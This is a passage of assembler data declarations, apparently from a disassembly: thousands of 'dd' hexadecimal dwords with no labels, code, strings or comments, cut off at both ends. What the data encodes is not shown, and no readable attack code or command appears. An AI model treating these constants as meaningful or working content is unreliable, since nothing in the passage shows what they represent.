98CA60h, 185C06E5h, 9CDDC9h, 137029A7h, 4768910Eh, 71A6D300h dd 0D1544E69h, 9DDA096Ch, 0A0E6AB6Eh, 0A8944290h, 8F1E8D82h dd 2A8890BCh, 0AC102473h, 6401CB54h, 728994E8h, 644C0178h dd 0B84F9B20h, 68AC9DCh, 95E58082h, 0B880E1ABh, 9E04A752h dd 0CBAED06Ah, 5E1E48E6h, 9CD5D41Eh, 5802C88h, 0B85712C4h dd 0E77700D2h, 0DDF52BABh, 6CB0A83Dh, 0AF5A1B0Fh, 9185E967h dd 0C798E80h, 0BD372801h, 0F09A0682h, 0DD1753CAh, 0F7020A5Bh dd 52439FE9h, 0BEF10F4Ch, 1F26C59h, 13F508E8h, 0A03BD421h dd 0CAC52896h, 8C5940F2h, 8FCA2D2h, 241EF0F8h, 1F211CCh dd 34FE2BBCh, 2FC4DF19h, 0DCFF09D3h, 7040D770h, 0C689FDA8h dd 8200482Dh, 0C1ACD013h, 0F079A11h, 73A39DFEh, 44DC8562h dd 0CA494AA4h dd 0C730078h, 40905867h, 0EFB09Fh, 6F71D59Eh, 606A5949h dd 3AF5B213h, 430EBCD0h, 0F8FE029Ch, 0A16944Ah, 56BBC60h dd 5F3C8902h, 6C26DEBBh, 478A4A14h, 707885F0h, 0EE360C2h dd 4B2B3F00h, 7D7CEC1h, 8F310197h, 202126BBh, 99683CB7h dd 0B6F0B84Ch, 2B1C00E5h, 0FA4009C0h, 4B1F78EEh, 0E085A9BCh dd 0C06271FBh, 0E08F293h, 0BAF297D1h, 7CA55E4Fh, 7AEC8CD0h dd 6200B5B8h, 11A59A63h, 0E44A409Fh, 0FBDA27D4h, 684AB84Ch dd 6F7A70D0h, 6B2600AEh, 4CEA67B3h, 0DB008076h, 2304E459h dd 2FD021FEh, 0A400AC18h, 8995C76Ch, 0F866BA44h, 49000E1h dd 9B4F2E85h, 1600DAADh, 0FF2832F2h, 2FECE2h, 37839653h dd 0B05A49AEh, 93C1894h, 94DB1AD6h, 0B885247Ch, 40B9446Ch dd 0A5963CDAh, 0E0860072h, 0CDC6F0F1h, 0C5008F21h, 0E8E4AF50h dd 0B16A6427h, 0B94A448h, 0D0004045h, 80A9D77Ch, 3896FF71h dd 2559050h, 29B18B52h, 3C564F53h, 0B96B9263h, 298A54h dd 0FCD99EC9h, 0C0EB6CACh, 2AF200h, 5B1A9D23h, 651CC519h dd 5AFAD900h, 6D4C8356h, 0EF10007Bh, 7690AEF3h, 28CF5E9Ah dd 0E6B3602Fh, 0C00C8647h, 0ADE05710h, 0D90ED8BAh, 0E4059011h dd 0FBC17837h, 61BD1E9Ah, 52CFDE00h, 0EA49CB71h, 0F0B53D00h dd 79D9058Eh, 18C473EDh, 311F9FE6h, 0A900E458h, 8A123B17h dd 38D5B8h, 0B4876F59h, 0E1D0ED9Bh, 60F2706h, 8840E0h dd 80E2895Eh, 7620D58h, 18423600h, 8EFC8602h, 0E1F60771h dd 0F01A68C6h, 0C489C729h, 0F000B1FAh, 5E437B3Fh, 0C016A09Ch dd 3D837881h, 0DB010EB6h, 0C4BEC032h, 0D8D37496h, 0F272884h dd 9AC5E4DDh, 0C246F8E0h, 570E8F6Fh, 0C36622Ch, 2B08E5h dd 92A0C767h, 0BDE71D5Dh, 81CE0B3Eh, 485BCC60h, 0D9E01B2Bh dd 1D38CB2Ch, 0DF2102DFh, 0D0E3C010h, 99F600CCh, 0CA8ECD54h dd 6A034CD9h, 9F5B76B1h, 2C600074h, 0FEADF342h, 0AC0FDCB0h dd 83CFB329h, 387F0E69h, 0E23F6648h, 628C2483h, 39005C45h dd 50DF644h, 2173E92h, 99868358h, 0E97EC4D0h, 4031980Eh dd 0FDBAF402h, 53833873h, 43D9E430h, 3000D884h, 15AB7767h dd 196CCFBh, 126DC3B3h, 415E995Bh, 50606850h, 8B07EF8Ch dd 5082E009h, 1342007Eh, 156A431Bh, 848A498Eh, 0B30A6900h dd 6094366Ch, 0D3006EFEh, 7C8CB6Ah, 3066A83Eh, 5950370Fh dd 0C7004387h, 0B1FD9493h, 0AFFAB2h, 70810BDBh, 247A8232h dd 0D3713105h, 801D7D72h, 5D403Ch, 2488DA6Ah, 0E52609FBh dd 3F004E7Bh, 8DCB8CA7h, 1E55B132h, 403B3Ah, 0D9D0398Eh dd 3F035B9Ah, 0AD6FC50Fh, 30D9062Eh, 580DE11Bh, 0C606D6F0h dd 31B07210h, 24C80721h, 0B5DA80B1h, 8C8C005Fh, 0FDD54DE1h dd 99D3C900h, 7EC8545Bh, 0BAE90A8Eh, 20B87401h, 47A614B0h dd 3102AC0Bh, 2FF0995Eh, 0A58C4902h, 0F805F98h, 0C5B6BBh dd 0A1B3574h, 80DE8F61h, 233A3F09h, 272C18A1h, 0A0A468h dd 526DDE4Fh, 7432A73Dh, 7B808800h, 5CA43807h, 10D715Dh dd 0AA61E92Fh, 715B732Ch, 42A0101Ah, 1C006E8Eh, 8A3D8599h dd 9021785Fh, 494870F8h, 660014C2h, 6CE53E28h, 4491B319h dd 0C161F581h, 48D2AD5Ch, 0B45A14h, 4D8F9E2h, 86498C62h dd 0ACAAE1C0h, 5E7E14h, 664DF15Ch, 0CED47445h, 6F2A85B8h dd 3650BCB0h, 394941D4h, 670B83A4h, 5B210043h, 0B485B7CEh dd 0E9008613h, 5E4E532h, 4BD8C2Dh, 4258937Fh, 0F4188C3Ah dd 10BAEF06h, 54D85EEEh, 0C0A8E01Dh, 96603ABAh, 0CAE63427h dd 0C857491Eh, 40351D4Fh, 1B2DC15Fh, 0A14761F3h, 50EFC68Bh dd 0C8418C8Ch, 0D955E218h, 4913FEF1h, 0F683A4CDh, 3CC214CBh dd 6B2087h, 0A5CEC0F3h, 0EA28200h, 0F97940FBh, 28DA38DBh dd 0E0A11F30h, 0DF0081A6h, 0A2C92ED6h, 5F74F6Ch, 0FB9824CCh dd 2C63805Ch, 7355435Bh, 76C04CE8h, 0D3ABAE00h, 2665B9F1h dd 28614C1h, 0CBC084F0h, 0C48A41DEh, 1BD1BB65h, 78A9A3C6h dd 735C13D1h, 0CB8820ADh, 69C06846h, 42035866h, 0E8A5398Ch dd 0E88E6F9Fh, 45DD0014h, 7D176C79h, 660CCCF9h, 0B0B023CEh dd 0C7E433D1h, 67E007E1h, 0C9F4699Dh, 0C39EBD00h, 0DEAFE1CAh dd 1343AABh, 82B07Bh, 7B261DC4h, 414F70DFh, 6D5CF02h, 0C02F3829h dd 772D59ABh, 0A77FEEh, 88F7C1B2h, 2CF4262h, 3168B033h dd 0A3B8FB98h, 0BA75E0EBh, 615970BCh, 8F9D1007h, 845EC418h dd 49740900h, 0C724A25Dh, 52B800ABh, 0F2409E35h, 934CA795h dd 674960AEh, 62B12D84h, 0AE781811h, 0F461E021h, 0B6B7880h dd 6C912495h, 7D25A600h, 0E7A5734Dh, 14BB3C04h, 4FAF9681h dd 0D4177FCFh, 0C7060AB9h, 0C8C135DDh, 0A6EB00B8h, 386DA74Fh dd 86FCE60Eh, 1B846901h, 0E3A46BE4h, 0C340160h, 3AE7F247h dd 0B500D580h, 452A992Fh, 0F8592758h, 1EF0AAAh, 8088EDB9h dd 63517DE6h, 0C701CCADh, 1F3EE807h, 0CE39CAFh, 0A8FDC220h dd 66005180h, 855268ABh, 1C7370B3h, 0C9314035h, 6F85B145h dd 4C35829Bh, 2CE0A890h, 43B689C5h, 0B79477C0h, 565C7252h dd 360CA881h, 0AFE9F86Ah, 0B6001178h, 27D16625h, 0A5803Eh dd 6A990262h, 0C0D5C6B9h, 310BE0B7h, 3980EDC2h, 215B107h dd 0F1F5D94h, 0FD2060h, 0A0E31DD7h, 9F2E609h, 0DEC019B8h dd 40FC0C01h, 4AA19805h, 78ACBAF8h, 2A900019h, 0B00AC741h dd 68C1EA55h, 30E7AF64h, 0C076319Ch, 0C248FCDh, 36F0EF55h dd 3E11FC03h, 0E060AE0Ah, 3EAD994Eh, 19020B4Fh, 0D1B1B5F4h dd 6835CAFh, 0C2D02497h, 8201BA67h, 6FB12BAEh, 20800389h dd 0A23A24Fh, 0A00058CCh, 52619027h, 15780Eh, 5179EEA4h dd 0CAE83228h, 3817A601h, 0AE0C3C70h, 50FC5C4Ch, 0B0037424h dd 540B24F8h, 0AD010533h, 28F44099h, 67C865F7h, 0F4074E02h dd 45623925h, 2E112Ch, 56E6B854h, 54BA08D8h, 62BF5C2Ah dd 4C93B0CFh, 23E8444h, 0C369E2B9h, 752848F7h, 0A7BD0076h dd 0EE9342Dh, 0C0A117AEh, 56FC11FBh, 1858D04Dh, 505348C1h dd 0B6B88680h, 0D43C5F93h, 0ABEC0EC5h, 7FD620CEh, 0C091E61h dd 984C7B05h, 21005A31h, 13195B46h, 2A8DC2Bh, 0DEE016D3h dd 78B1D04Eh, 0DCCD1138h, 90A59EC8h, 0EDAF004Bh, 21A132DEh dd 30152EEh, 48F2968Ah, 4C409D4Ch, 1153557h, 4A10497Dh dd 0F04F1B02h, 2C50F8DBh, 220C3E6Ch, 70BC1E53h, 0ED872001h dd 34BF0600h, 0C054DD51h, 0A7524C7h, 2FE90224h, 0ACA0ABD7h dd 23176E03h, 6C2D0800h, 0DA3C634h, 38D41D57h, 0B105CA39h dd 0F6C242BCh, 9EE22820h, 0B9F0A42h, 8B46B23h, 5314F49Ch dd 0DCA58094h, 1C5FB12h, 0F82B44F9h, 2013C782h, 502F412h dd 631E9326h, 398C4142h, 43A33810h, 0A700AEFAh, 0DFB5941Ah dd 12222D56h, 674E3BD6h, 71892C0h, 74505B07h, 447AF7h dd 0F69286D5h, 0D4E76494h, 0D1A3E401h, 1E789AFBh, 20E03193h dd 25665B70h, 0A644BA00h, 8F50416Ch, 34E5304Fh, 74664321h dd 60E4B400h, 28EC1F23h, 0EA6D01BDh, 0EF53B85Eh, 5102CD2Ch dd 0F87448C0h, 5714FDD7h, 22E81A7Ah, 0C59C006Fh, 8A55B5EAh dd 0AC02DD04h, 0A4D1B6Ch, 7FD49835h, 0B4F454C5h, 8D20070h dd 38245C5Fh, 9714B643h, 2298827Eh, 4815002Ch, 3879FD3Dh dd 903BA027h, 0A51C129Bh, 0B0A34462h, 0B8D5C79Ch, 69F5602Fh dd 8496458h, 0B1460B09h, 0E6C4A04Eh, 0A4634AFFh, 0A89944ECh dd 5D074B01h dd 0D0D6E846h, 0CEF0B421h, 90F26EBh, 0A82E621Ch, 8C9314C1h dd 71F8C239h, 0ED1B07BBh, 0F0FA4B6Fh, 0B9EF0BC3h, 0AC7C30F7h dd 0D4C5F105h, 6048E83Ch, 1D6C2D0h, 52B5E4A0h, 68E89875h dd 0CCFC8204h, 20C3B832h, 0AA79D904h, 6DD17510h, 0C5B9D400h dd 8DD84F9Bh, 47AE0C7Ah, 0C2F132B1h, 4FB59h, 0E61FC91Ch dd 0BCB44C4h, 8A25070Dh, 3EC3E030h, 2AF68498h, 0DFC1F13h dd 93A66C20h, 5C9950h, 0CC0B0F19h, 9D507017h, 955553F0h dd 0D3D7D888h, 40E5F400h, 56ECD9CBh, 8EE7016Ah, 1B971221h dd 0C8C3601h, 59AD7898h, 4C0498BDh, 4A34F8CAh, 2F14C2C1h dd 6B0B0C66h, 0B8A49513h, 3433C3Ch, 0D520BF19h, 76EFC6AFh dd 0A830F9CFh, 914AD46Ah, 799318A4h, 0AC0271C7h, 52BC2C99h dd 3E472268h, 6B004C95h, 3BC9E5DEh, 1B1F27AEh, 9C40A076h dd 0BF0F79F8h, 78B14CE4h, 0B136E7C6h, 81913500h, 253F4B66h dd 2B4C0079h, 36CC2CBDh, 0E090AE2Ah, 48807D53h, 97F310F4h dd 198ED618h, 0E800750Ah, 3554DA11h, 0AC6B22CAh, 53C61880h dd 7233B19Bh, 65AC4C00h, 75AB8C42h, 0B1A61EA4h, 0B8BD9434h dd 28B75317h, 3A0740C4h, 55F3DC82h, 0F1B83970h, 0BBAE1DF0h dd 3760F29h, 0C7AC5080h, 0B426CA3Fh, 6AC07406h, 4C9D309h dd 0FC14C581h, 359CC80Eh, 8994EE5Ch, 0E9D090D6h, 0D83D01BDh dd 3A3B90E6h, 11407780h, 0F4583456h, 0C741F637h, 5190C47h dd 0A85ADB2Eh, 90A18243h, 3C253EBBh, 0BE05B74Ch, 61A231Dh dd 598C02A8h, 68284924h, 48207964h, 7EF410F1h, 0B4D0CFh dd 28F4F5C6h, 7B931B71h, 0C5C029C8h, 5B2CE56Bh, 0F5012843h dd 0D831B2A3h, 9C428859h, 9C072505h, 0BB00BA84h, 13FBF4Eh dd 18ABB2D1h, 0A8153EE3h, 0B0B99697h, 0ADD6066Eh, 8D493A81h dd 7CAEAC38h, 0C5650082h, 53E3CA0Dh, 6E49h, 0F2364F2Fh dd 28D1F993h, 12E0DCADh, 62CD126Ch, 0E5209B70h, 0E05C2FDFh dd 8525009Ah, 0F4059538h, 0D9485F30h, 0A062A26Ch, 0B7C30FECh dd 7E0900E0h, 823E0233h, 0B201A184h, 0A8450E30h, 702028D2h dd 0BE4494CCh, 7DEE1CF6h, 1412C75Bh, 2471C080h, 0FB0A4D35h dd 84BC5AB7h, 0CB381B11h, 0D78008D8h, 91F6AFD9h, 6836BA09h dd 8980316Ah, 3BC343C0h, 0C9250DAFh, 0A8F58430h, 25279B83h dd 2818BFBEh, 0B0A47498h, 2440BC4Ch, 6240545Ah, 795B5966h dd 47D20B53h, 8C04C5DAh, 3FE7467Eh, 457700A1h, 0DC17895Ah dd 540939D2h, 30123CC4h, 2501AC2Ch, 0B8A57B84h, 33C4176h dd 0FCA45743h, 0B952D6C0h, 1BE100F8h, 0E43D7334h, 900D00A0h dd 9959BCE3h, 69134284h, 5C72D2DBh, 6AE8209Ah, 0FB00348Fh dd 4C3E2620h, 3DE0D99Eh, 0F51288CDh, 6370CDE3h, 11410070h dd 498A9ECAh, 51E8006Fh, 4778FE17h, 0D4BA1042h, 32C5542h dd 77C36380h, 0D3EAE180h, 0EFA3E0Ah, 0E308E8CFh, 80642997h dd 12B5B4EEh, 59E48ABEh, 2101B091h, 76D91EE9h, 39BC9C58h dd 4902D3A3h, 7B9AEEBAh, 0BC27D111h, 3114721h, 3EDC84C0h dd 7E1CC2B4h, 0EA9501AFh, 4CC32EC4h, 0B1A7B947h, 0DC65E240h dd 0B0AE5C0Dh, 4FC1CC12h, 0E1000960h, 7BE94F02h, 0A4F50E00h dd 860FA2FAh, 40297E68h, 0F1D0AFA3h, 72C0DCE4h, 938431F9h dd 0AF81006Bh, 70389F25h, 990BC716h, 0B0D24928h, 45C56D98h dd 5580FCF8h, 4845250Eh, 8FB080DBh, 14DE5ECEh, 0AC0B3E3Dh dd 0C421CBC0h, 0F312E602h, 0ACCCAF5Dh, 28FE50C2h, 0CB8E008Ah dd 0E2DEFCB7h, 32011D55h, 0CB6755Dh, 0C237A83h, 1F00044Bh dd 505C8CB2h, 0B39158B3h, 0ADC1785Ch, 0D0FE8121h, 55485865h dd 19FD05B2h, 743114EAh, 60297293h, 60907527h, 200E8D1h dd 5BC3E39Eh, 58AF2DAEh, 0F502B860h, 0CE163615h, 0C0C6CCA4h dd 2D54B5ACh, 5C6AEA09h, 0C60C3074h, 0BFB4BBB4h, 9000F4C4h dd 5991FACAh, 5C6EEDh, 1528FB3Eh, 0DE7F0AF5h, 0BCB3612Eh dd 78904D12h, 8F6DB4h, 12E3EC9Fh, 89A8E8B8h, 53223D09h dd 0AD586866h, 0B31C064h, 0A7502D55h, 5827C275h, 8443003h dd 0FB601DC7h, 443490Dh, 6026104Dh, 0D28C87C9h, 0D1AF1248h dd 143055A0h, 0E20004B2h, 0FADAF1F2h, 920128E9h, 0AD43BFF9h dd 38638719h, 65220880h, 0D72A5679h, 0A7007C32h, 6B2E20BDh dd 0F6DFC75Ch, 85182584h, 0DE48C818h, 265D6A03h, 3BC2C5DDh dd 8F80C9A1h, 0D10EA708h, 6A1DFCE7h, 0D6801594h, 3989B95Fh dd 61134ED7h, 267598F4h, 22CC48F4h, 649902C7h, 5F35958Eh dd 0CA7ABC84h, 0CD0900C8h, 0ADD20FC0h, 0F0E00737h, 48FB0D29h dd 223648C1h, 778A448h, 0F7B784BCh, 806BF473h, 0C1A26F38h dd 18375812h, 0A4D6A021h, 526E8980h, 8C860328h, 8DF4D401h dd 0AF71E3CDh, 0F722BC26h, 5202ED79h, 8EC35FEh, 56FCE699h dd 0CB12F410h, 220800D5h, 2427F554h, 0A370C00h, 35405176h dd 0FFCA73E8h, 0FC176C62h, 3D383082h, 0EAE4D1D3h, 0E620FF61h dd 0F21F59h, 5A206A12h, 0DD48D700h, 78EFFAFDh, 0EC8A0663h dd 2805CF45h, 5658A398h, 3DD42250h, 0D905A475h, 0CCE9A6A8h dd 690195E4h, 54CCE340h, 3770870Ch, 0E637EE0Dh, 0C7C32E78h dd 0CC4E16B4h, 4A718B08h, 84F484Fh, 0F3E606Ch, 3E6B8DAEh dd 69807336h, 4F2D3CFCh, 531225A4h, 0AC4B3B95h, 27D04CAFh dd 0F4817E9Dh, 928C7A93h, 8420E069h, 0FF6AABAh, 4F9BF3A0h dd 428193BCh, 8C4C9AECh, 0D680A459h, 799BC165h, 4A40A08h dd 60A4BCD3h, 66AE56B3h, 3630F463h, 1C95F425h, 57F0F000h dd 4CCD4D52h, 9C7FCEAh, 0BF31108Bh, 0EC00C530h, 0FFC4709Fh dd 5FA68FEh, 95FDF30Ch, 39832CDh, 45004879h, 0C5B4FB08h dd 46E12464h, 95C10900h, 23359C82h, 0AF0E0044h, 0A387410h dd 299C986Dh, 61872A22h, 4E9825B4h, 0DF00FC14h, 57AC43ABh dd 0B4CD3Fh, 95912D3Ah, 4167B87Dh, 0D9030404h, 28C84C68h dd 8BB900A0h, 29A89261h, 9D094ADFh, 0C81C366Eh, 4C0DFC34h dd 6A8E5432h, 0AE571291h, 0AA028CC3h, 744C859Ah, 6C0DC2Ch dd 0BBD6B641h, 0B621062h, 72B101E8h, 2F2D00D8h, 8152FD2Ch dd 7B04C669h, 4A5355Dh, 0C906A883h, 0E907B316h, 1B212C82h dd 259420Fh, 78A10007h, 0F7003F56h, 0D46E3D4Eh, 0BEF9783h dd 0C1D8BD49h, 79278380h, 945257E1h, 3E0EC0BCh, 4E40D98h dd 0E56A17ABh, 38001630h, 8E872A80h, 2E810037h, 9AB47C4Dh dd 0AE050773h, 0E314C147h, 0B000D4B6h, 27335F4Dh, 0D6ECD7CEh dd 40CBA500h, 9BF92886h, 53B315C2h, 81008096h, 0D9509A35h dd 0A424197Ah, 1C942086h, 98A78044h, 0B9ABF879h, 0FC49E28h dd 37C0237Dh, 95FE7653h, 81E3A438h, 5077340Dh, 70783312h dd 701A1E80h, 4B0FFF5Bh, 4019B7C3h, 2C17DF44h, 0A1F8A33Dh dd 53017574h, 7DCD1041h, 152B0011h, 8DB3DD3Dh, 0C91ED51h dd 0D2C58B04h, 92AA7440h, 0D0F37721h, 460480B5h, 0D3116B26h dd 974E2843h, 7C0F93Ah, 0C4256AA9h, 0EC193542h, 7A3F0E04h dd 17C04F0Fh, 34A31E1Bh, 50DB8009h, 0E98CE03Bh, 30B906D0h dd 61C65398h, 0ACB30208h, 0AE0B02C8h, 6484FED8h, 42DFA822h dd 78E84C8Ch, 106A5600h, 89C9D158h, 0F574004Eh, 53ACDF84h dd 8B0FE54Fh, 4E765960h, 0E9CB00BDh, 14119BAh, 8CA37FDDh dd 70356B66h, 0E01759E5h, 18618501h, 5830EF2Bh, 93F800EDh dd 9186AAFh, 0F600EA0Dh, 5A2FB73Fh, 982915BBh, 141A00CCh dd 8BAAEBDBh, 0C006967h dd 0FC57339Dh, 0F4B3788h, 99CCEF4Dh, 201F4AA0h, 0B33201A8h dd 6061E17Fh, 486A3678h, 1180E0D0h, 38CC0A4Dh, 1B6DB800h dd 80A9D18Ch, 2F69011Eh, 0AA709509h, 0D43ED0DBh, 0AF135200h dd 0CBAB33F2h, 0EFF407C6h, 704FA559h, 77E6E3E8h, 8989043Fh dd 48C23C48h, 0F85CDB8h, 0DE42F15Bh, 255D6DC0h, 8100953Eh dd 0EF8682ACh, 720C679h, 6B96CBB9h, 0DD4520C4h, 3D00C1FEh dd 8BBF5170h, 1205FF75h, 5931B84h, 0C04E7D6Ah, 0C6C8A227h dd 0AFE90B09h, 797890E7h, 0D7A901DCh, 5FC9EE5Ch, 0DDB3D8C3h dd 255B1600h, 0CF8F31A3h, 1D981F5Ah, 0E6B1408Bh, 9E8502D3h dd 78085899h, 0B610BEC8h, 0B1450EAh, 4064D612h, 0C15BC07h dd 34D00374h, 0E4B11D2Ch, 6CC91F3Fh, 0FA2840F3h, 0F7EDF93Ch dd 0A4840E00h, 0B005CC19h, 0C251C566h, 6F9440FCh, 691897A3h dd 2BD48400h, 129FE3BDh, 0CC614CC5h, 0A48F60C0h, 21000B68h dd 71F1A0F3h, 62304F4Eh, 59BF48ACh, 0B44986E2h, 0CDDB1034h dd 0B0A2018Ch, 0E711F6E2h, 698EEC25h, 0FD7B4700h, 0CD7724C3h dd 0DC2D2484h, 0E54E8D10h, 9EADE049h, 954F031h, 198335E7h dd 9918EEB5h, 72069898h, 61A75A01h, 0A5F3A953h, 82D7EC40h dd 858A03C7h, 832B24Bh, 0CA52FF2h, 0E7A48C0Ah, 0A93B9E00h dd 461AC8AAh, 0DECA00E5h, 0BC73603Ch, 20000851h, 0A48AECDh dd 4CE413A1h, 0B757C6Dh, 0D30137A4h, 0F7005066h, 5C14A6EDh dd 0E46F25FDh, 0B1AF0310h, 2CD1341Fh, 0F9E147A8h, 54C21940h dd 1D17C4FFh, 409ADB28h, 87329C1Bh, 0D70580E1h, 0C5E530E2h dd 120C88h, 0FD21BAD1h, 4E0B2C2Eh, 0B4F1A301h, 62A402E4h dd 884AB473h, 87909004h, 62B9BA09h, 1C588103h, 30AC75C6h dd 7630305Eh, 0D5C9302h, 0A6F50438h, 0AB484FB1h, 0A060D58Eh dd 0CB6D2499h, 7512CADh, 45C76484h, 3C98031Fh, 897E0018h dd 6D1AB29Dh, 2D00B839h, 9BEEC8E6h, 3A96FAh, 1125A263h dd 0EB1C5E46h, 0E68B8C17h, 0B0608025h, 53FB6Bh, 0C9FE504Ah dd 2B79F36Ah, 32B73801h, 0FDA5BBEEh, 8DF2A03Fh, 47D1B107h dd 0EC80A686h, 2EE0C899h, 881C03CBh, 0D68CFB25h, 6DE1C0h dd 7FC7B32Ah, 0DCFB4CD7h, 5116B9EEh, 2C223311h, 938A18D1h dd 0C2D26281h, 46F84696h, 0B0B426B8h, 50CB0Fh, 0A47D7C12h dd 0D007005Dh, 2E8AE5A7h, 0B700AA55h, 0E6A37CEh, 0FB7CB0h dd 5CEEA0FAh, 799389D1h, 0DDE4D21Ch, 0E8E6918Bh, 4C2ACDC4h dd 9417052Bh, 0F12A0313h, 0F288DD22h, 93127A79h, 50041C26h dd 4600CF40h, 0A7BAD680h, 8BCD070Ah, 761868BEh, 0D37430h dd 1D40CCA9h, 586D6B59h, 782A4B07h, 89EFBA45h, 224400EBh dd 5835B394h, 0C787901Dh, 20232978h, 0E682C820h, 0A0A7DC90h dd 3A5B38h, 0DA842350h, 73452BBh, 0D71558BFh, 0E2AEE092h dd 594C8187h, 5F78806Ch, 7DC4B739h, 34D7007Eh, 2C5323E3h dd 2828B2E4h, 7922BC67h, 36100CADh, 0FC91C424h, 142C814Ah dd 5DD8A078h, 30CE2C77h, 82440FCh, 0A606ADD3h, 414D54FCh dd 72BF0331h, 2DDA4887h, 848957E0h, 8C8DE000h, 52FCC32Ch dd 29C00044h, 0C660116Ah, 0AF06F815h, 1CD60D5Dh, 0E0F4C9h dd 29EF9D7h, 1E18B58Fh, 0AB559100h, 0E8164862h, 5A200469h dd 851BAC76h, 0B33832ABh, 2127A19h, 0A0B37D04h, 4B57620Eh dd 783E414h, 210024FCh, 780DA6D5h, 0B49E83F9h, 0F9411E4h dd 40E41ADCh, 0AB5D3C40h, 4F45004Dh, 6E2A5F46h, 5B16EB43h dd 4420FCA1h, 2FE8E1B2h, 0D890554Ah, 0B504055Bh, 0C5DCD478h dd 3814FC88h, 4C013196h, 6D3675FEh, 476E20ADh, 2F001A7Ch dd 0EC9023C5h, 7CDA3AFh, 0A53B1827h, 0DFFC005Ah, 0AA008BE6h dd 0C684923Eh, 72960B37h, 0A94F0034h, 0CE3ABF29h, 9325DF07h dd 26C4875h, 9C149584h, 0CE421500h, 4441D9E8h, 0A2AD3EDAh dd 2D75A700h, 6F18867Ch, 0D877E53Ch, 8F7E001Ch, 0C77B9B35h dd 2AE075h, 6DA6C0D7h, 0F6B06825h, 0A40017ECh, 79A20E7Dh dd 26235393h, 12BCE807h, 80FCB2AEh, 0DCBB9B2Bh, 0F7DB0116h dd 0FA47A577h, 0ACD7D4F2h, 72AFD200h, 1AEB5A7h, 7BB4A4BBh dd 4020BE98h, 0C343D2A4h, 0F0473D1Ch, 800AE3CBh, 762AF1A4h dd 92561368h, 97853AFh, 6468EC74h, 22F7FC0Bh, 0B9007F28h dd 6D77742Bh, 1B38CE3h, 0B6624A70h, 7D57BFACh, 0DA0B0780h dd 21BC7D52h, 40A58DCh, 2E8287C0h, 57002335h, 0B9FBB5B4h dd 12D0B1BCh, 900A09DDh, 5E5A40ACh, 0A527A3E8h, 3F54A0C5h dd 9BE7D2h, 2BEF8C67h, 0B884E877h, 5000F899h, 0ECC037A0h dd 256A048Ch, 0E453A9CCh, 17004FE8h, 2E5AD13Eh, 127D86F9h dd 93B0AF32h, 49DEC2BCh, 0AA8D6D00h, 0BEF76E15h, 241114EDh dd 0B0014E1h, 0A0C66980h, 85073D81h, 72A958BBh, 0E7D7AED0h dd 1CF10275h, 59509831h, 0BABD8CA0h, 7948F096h, 0D3BBB1D4h dd 8148C71Ch, 47BF0430h, 80A49620h, 90C954D2h, 772C134Ah dd 0B33CCCABh, 4244BE48h, 0C02200E0h, 0A7810475h, 0F54C13B4h dd 0AE4C41D4h, 22C5E80Dh, 41C10034h, 24076AD9h, 551539EFh dd 0AD1250BDh, 0FC78024Fh, 0ACC6853Eh, 0A99540F0h, 3CFC44C0h dd 0B8707EC1h, 859490A3h, 84E8AD0h, 76AD007Ch, 183754F3h dd 73419496h, 0C0221D36h, 0FE01AF00h, 0A2E551D2h, 0BEFC425Eh dd 0A9FB1703h, 7E2825DDh, 240478EFh, 0AEADD235h, 0AC88C4D5h dd 0F8571D0Fh, 37044016h, 0A1744F94h, 0D2B3E850h, 1715280Ch dd 4070E9A2h, 0D13B75B2h, 0ABBD0420h, 30B85193h, 0CC00118Bh dd 0E661B009h, 0D150F4A3h, 117A598h, 0A008BCC6h, 0D43A803Bh dd 0A4AACCD0h, 985ACB00h, 53F3BD35h, 0E910443h, 84BBEC80h dd 0CD6CC0D4h, 0F2544061h, 0BC17CF80h, 840A34Ch, 0A0CE5123h dd 2E342C3Fh, 270B0358h, 303647B8h, 939C635h, 548705C7h dd 0DC5CE412h, 0D7E42E40h, 6C500038h, 8227CC29h, 0E60CA82Fh dd 0C0A202AFh, 2BB101E7h, 7C6694A9h, 48AEF831h, 7663FC09h dd 37628179h, 943D4F4Dh, 0F38E2D00h, 6504B04Bh, 0E1A03Ch dd 0F1FF55F9h, 4BBE05C5h, 6B0CD059h, 0ED005B3Bh, 5E45272Ah dd 48A5B52Ch, 0D40934A0h, 80792BF8h, 0DE9D0D40h, 343600C5h dd 9F0BA43Eh, 3502BB10h, 0A5B0A81Ah, 0E6CC40D1h, 69A96359h dd 6472FDA0h, 1BD5E203h, 988174BBh, 0C1A3092Ch, 56FC3731h dd 60B875B4h, 0B9FB48h, 342019C4h, 0A40C2D51h, 210BC7CCh dd 3EAFEA3Eh, 2A828BDFh, 0A7560D12h, 6C407874h, 0C4B36Eh dd 72BA73E2h, 4F904BD3h, 2CBCA470h, 940BE41Eh, 58C8C031h dd 0B4AB00CDh, 4E3EE3A4h, 595EE0BAh, 0BC2B3040h, 59F8437h dd 0E17A14F8h, 2ABCB1BEh, 55E0B427h, 91AC18h, 0BA1624D1h dd 0D9156920h, 0F8F97E0Ch, 3E3099h, 9F230EF1h, 58EFA694h dd 0A03FA300h, 30C8B084h, 0BD0C3049h, 0D84F9718h, 0CBC6D300h dd 0ACD00496h, 6A3D00A7h, 0F3607C5Ch, 840048B0h, 5722781Fh dd 9A79AE7Fh, 48A0B878h, 0E504E4ACh, 0C82DE7AFh, 0D70B077Ch dd 18605B82h, 337F10h, 0D840E08Ch, 0A44EAC0Eh, 0CF4040BBh dd 768D7Ah, 25156454h, 0FF86C3DCh, 217BC01h, 6AC5729Eh dd 0A9C8200Dh, 90E069C9h, 0E97844h, 8523083Ch, 3494D0EEh dd 70D0D74Bh, 0CB13D1h, 21DDFEBFh, 0A407DB1h, 0D8C8AF4Fh dd 5C1F0055h, 14029BF3h, 0AD02D077h, 17D14D3Eh, 9FC07839h dd 0B8CE08A0h, 8AB34A1h, 0AAACBCD0h, 7B3D371Ch, 90BA1FC9h dd 48A5B2E8h, 9D34FBh dd 3648ADB9h, 0AC502010h, 4C024160h, 229CB2CAh, 0E39060A4h dd 764900E2h, 0B9577434h, 0C3001F32h, 70A69992h, 244CE40h dd 11E79829h, 7CC633E6h, 4D832600h, 64DBE1D9h, 7FFC00CBh dd 18B881C4h, 90B933B0h, 4E214A40h, 169501ECh, 2B473B10h dd 0C00C2C85h, 1B7492AAh, 86DC068Ch, 88D84411h, 3E00C4F0h dd 0D6A79AFh, 0E1DF7ABFh, 2FE0FAE8h, 80307293h, 0CE7C4138h dd 0A4C80D1Eh, 35C55285h, 4FB324E0h, 0FE4C48B1h, 80791B89h dd 9C68826Ah, 676D0334h, 98D57DB2h, 57BE0190h, 0B8AAF000h dd 0F7ACEC3h, 0F11904F8h, 0E2A3EDCFh, 0C4721C98h, 0AB626600h dd 